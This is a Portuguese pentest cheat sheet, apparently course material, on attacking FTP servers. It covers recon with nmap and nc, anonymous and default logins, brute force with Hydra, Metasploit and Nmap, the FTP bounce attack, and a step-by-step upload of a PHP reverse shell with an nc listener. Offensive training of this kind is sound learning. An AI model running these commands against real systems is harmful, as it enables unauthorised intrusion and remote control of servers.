Skip to main content

FTP | Solyd One | Ataque específicos

  • FTP | Solyd One | Ataque específicos

Porta padrão: 21

FTP é um protocolo de rede padrão usado para transferir arquivos entre hosts em uma rede baseada em TCP (como a Internet). Ele permite upload, download, gerenciamento de diretórios e navegação pelo sistema de arquivos remoto.


📡 Funcionamento

  • Modelo cliente-servidor
  • Suporte a login anônimo (anonymous / ftp)
  • Suporte a login autenticado (usuário e senha)

🔗 Conectando-se a um Servidor FTP

Usando o comando ftp

ftp <target-ip> <target-port>
# Porta é opcional

Usando o comando lftp (versão melhorada do FTP)

lftp <target-ip>

Usando um navegador web

ftp://username:password@<target-ip>

🔍 Reconhecimento (Recon)

Identificando um servidor FTP com Nmap

nmap -p 21 <target-ip>
nc -nv <target-ip> 21

📑 Enumeração

Recursos do servidor FTP

nmap -p 21 --script <ftp-features> <target-ip>

# ftp-anon
# ftp-syst
# ftp-*
# ftp-brute
# ftp-vsftpd-backdoor
# --script=ftp-anon,ftp-syst,ftp-vsftpd-backdoor

Diretórios comuns com Gobuster

gobuster dir -u ftp://<target-ip> -w <caminho-da-wordlist>

🎯 Vetores de Ataque

Login Anônimo

ftp <target-ip>
# Usuário: anonymous
# Senha: qualquer uma

Credenciais Comuns

ftp <target-ip>
# Usuário: admin, root, ftpuser, test, etc.
# Senha: comum ou padrão

Força Bruta com Hydra

hydra -L users.txt -P pass.txt -f -s 21 ftp://<target-ip>
# Ou com um usuário específico
hydra -l user -P pass.txt -f -s 21 ftp://<target-ip>

Força bruta com Metasploit

search ftp_login
use auxiliary/scanner/ftp/ftp_login
set RHOSTS xxx.xxx.xx.xx
set USER_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set THREADS 10
run

Força Bruta com Nmap

nmap -p 21 --script ftp-brute <target-ip>

🎯 FTP Bounce Attack

Explora a capacidade do FTP de redirecionar tráfego usando o comando PORT.

Manualmente

ftp <ftp-server>

quote PORT <target-ip>,<port>
get filename

Usando Nmap

nmap -b <ftp-server>:<ftp-port> <rede-alvo>

Usando Metasploit

use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <ftp-server>
set RPORT <ftp-port>
run

🔧 Pós-Exploitation

Comandos FTP Comuns

ComandoDescriçãoExemplo
lcdMuda o diretório locallcd /caminho/local
cdMuda diretório no servidorcd /caminho/remoto
lsLista arquivos do diretóriols
getBaixa um arquivoget arquivo.txt
mgetBaixa múltiplos arquivosmget *.txt
putEnvia um arquivoput arquivo.txt
mputEnvia múltiplos arquivosmput *.txt
binAtiva modo bináriobin
asciiAtiva modo ASCIIascii
quitSai do cliente FTPquit

📥 Baixar Todos os Arquivos

wget -m ftp://anonymous:anonymous@<target-ip>

🐚 Reverse Shell via FTP + Web

1. Baixe o payload

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

2. Edite as variáveis em shell.php

$ip = '<seu-ip-local>';
$port = 1234;

3. Conecte-se ao FTP e envie o payload

ftp <target-ip>
ftp> put shell.php

4. Inicie um listener local

nc -lvnp 1234

5. Acesse via navegador

http://<target-domain>/caminho/ftp/shell.php